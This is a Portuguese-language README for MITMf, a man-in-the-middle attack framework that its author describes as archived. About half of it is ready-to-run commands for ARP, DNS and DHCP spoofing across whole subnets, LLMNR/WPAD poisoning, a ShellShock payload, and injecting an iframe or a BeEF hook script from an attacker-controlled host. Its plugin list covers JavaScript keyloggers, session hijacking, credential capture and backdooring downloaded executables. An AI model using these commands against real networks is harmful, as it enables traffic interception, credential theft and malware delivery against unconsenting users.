Estrutura para ataques Man-In-The-Middle
Este projeto não está mais sendo atualizado. O MITMf foi escrito para atender à necessidade, na época, de uma ferramenta moderna para realizar ataques Man-In-The-Middle. Desde então, muitas outras ferramentas foram criadas para preencher esse espaço, você provavelmente deveria usar o Bettercap, pois é muito mais completo em recursos e tem melhor manutenção.
Tutoriais rápidos, exemplos e atualizações para desenvolvedores em: https://byt3bl33d3r.github.io
Esta ferramenta é baseada no sergio-proxy e é uma tentativa de revitalizar e atualizar o projeto.
Contate-me em:
Twitter: @byt3bl33d3r
IRC no Freenode: #MITMf
E-mail: [email protected]
Antes de enviar problemas, leia a seção relevante no wiki.
Consulte o wiki para obter instruções de instalação
O MITMf visa fornecer um balcão único para ataques Man-In-The-Middle e de rede, ao mesmo tempo que atualiza e melhora os ataques e técnicas existentes.
Originalmente construído para resolver as deficiências significativas de outras ferramentas (por exemplo, Ettercap, Mallory), foi quase completamente reescrito do zero para fornecer uma estrutura modular e facilmente extensível que qualquer pessoa pode usar para implementar seu próprio ataque MITM.
A estrutura contém um servidor SMB, HTTP e DNS integrado que pode ser controlado e usado por vários plug-ins, mas também contém uma versão modificada do proxy SSLStrip que permite a modificação de HTTP e um desvio parcial de HSTS.
A partir da versão 0.9.8, o MITMf suporta filtragem e manipulação ativa de pacotes (basicamente o que os etterfilters faziam, só que melhor), permitindo aos usuários modificar qualquer tipo de tráfego ou protocolo.
O arquivo de configuração pode ser editado instantaneamente enquanto o MITMf está em execução, as alterações serão transmitidas através da estrutura: isso permite ajustar as configurações de plug-ins e servidores durante a execução de um ataque.
MITMf irá capturar FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (strings da comunidade), NTLMv1/v2 (todos os protocolos suportados como HTTP, SMB, LDAP etc.) e credenciais Kerberos usando Net-Creds, que é executado em comece.
A integração do respondedor permite envenenamento LLMNR, NBT-NS e MDNS e suporte a servidores invasores WPAD.
Agora você pode modificar qualquer pacote/protocolo interceptado pelo MITMf usando Scapy! (chega de filtros etter! sim!)
Por exemplo, aqui está um pequeno filtro estúpido que apenas altera o endereço IP de destino dos pacotes ICMP:
if packet.haslayer(ICMP): log.info('Recebi um pacote ICMP!') packet.dst = '192.168.1.0'
Use a variável packet
para acessar o pacote em um formato compatível com Scapy
Use a variável data
para acessar os dados brutos do pacote
Agora, para usar o filtro, tudo o que precisamos fazer é: python mitmf.py -F ~/filter.py
Você provavelmente desejará combinar isso com o plugin Spoof para realmente interceptar pacotes de outra pessoa;)
Nota : você pode modificar filtros dinamicamente sem reiniciar o MITMf!
O uso mais básico, inicia os servidores proxy HTTP SMB, DNS, HTTP e Net-Creds na interface enp3s0:
python mitmf.py -i enp3s0
O ARP envenena toda a sub-rede com o gateway em 192.168.1.1 usando o plugin Spoof :
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1
O mesmo que acima + um servidor proxy WPAD não autorizado usando o plugin Responder :
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad
Veneno ARP 192.168.1.16-45 e 192.168.0.1/24 com o gateway em 192.168.1.1:
python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1
Habilite a falsificação de DNS durante o envenenamento de ARP (os domínios para falsificar são extraídos do arquivo de configuração):
python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1
Ative a falsificação de LLMNR/NBTNS/MDNS:
python mitmf.py -i enp3s0 --responder --wredir --nbtns
Habilite a falsificação de DHCP (o pool de IP e a sub-rede são extraídos do arquivo de configuração):
python mitmf.py -i enp3s0 --spoof --dhcp
O mesmo que acima com uma carga ShellShock que será executada se algum cliente estiver vulnerável:
python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'
Injete um IFrame HTML usando o plugin Inject :
python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com
Injete um script JS:
python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js
Inicie um portal cativo que redirecione tudo para http://SERVER/PATH:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH
Inicie o portal cativo em http://your-ip/portal.html usando a página padrão /portal.html (thx responde) e /CaptiveClient.exe (não incluído) da pasta config/captive:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive
O mesmo que acima, mas com nome de host captive.portal em vez de IP (requer que captive.portal seja resolvido para o seu IP, por exemplo, via falsificação de DNS):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns
Sirva um portal cativo com uma instância SimpleHTTPServer adicional servindo o LOCALDIR em http://IP:8080 (altere a porta em mitmf.config):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR
O mesmo que acima, mas com nome de host:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns
E muito mais!
Claro que você pode misturar e combinar quase qualquer plugin (por exemplo, ARP spoof + inject + Responder etc.)
Para obter uma lista completa das opções disponíveis, basta executar python mitmf.py --help
HTA Drive-By : injeta uma notificação de atualização falsa e solicita que os clientes baixem um aplicativo HTA
SMBTrap : explora a vulnerabilidade ‘SMB Trap’ em clientes conectados
ScreenShotter : usa HTML5 Canvas para renderizar uma captura de tela precisa do navegador de um cliente
Respondente : envenenador LLMNR, NBT-NS, WPAD e MDNS
SSLstrip+ : Ignora parcialmente o HSTS
Spoof : Redireciona o tráfego usando falsificação de ARP, ICMP, DHCP ou DNS
BeEFAutorun : executa automaticamente módulos BeEF com base no sistema operacional ou tipo de navegador do cliente
AppCachePoison : executa ataques de envenenamento de App-Cache HTML5
Ferret-NG : sequestra sessões de clientes de forma transparente
BrowserProfiler : tenta enumerar todos os plug-ins de navegador de clientes conectados
FilePwn : executáveis backdoor enviados por HTTP usando Backdoor Factory e BDFProxy
Injetar : injeta conteúdo arbitrário em conteúdo HTML
BrowserSniper : executa ataques drive-by em clientes com plug-ins de navegador desatualizados
JSkeylogger : injeta um keylogger Javascript nas páginas da web de um cliente
Substituir : Substitua conteúdo arbitrário em conteúdo HTML
SMBAuth : evocar tentativas de autenticação de resposta a desafio SMB
Upsidedownternet : vira imagens 180 graus
Cativo : Cria um portal cativo, redirecionando solicitações HTTP usando 302
BTC: 1ER8rRE6NTZ7RHN88zc6JY87LvtyuRUJGU
ETH: 0x91d9aDCf8B91f55BCBF0841616A01BeE551E90ee
LTC: LMa2bsvXbgBGnnBwiXYazsj7Uz6zRe4fr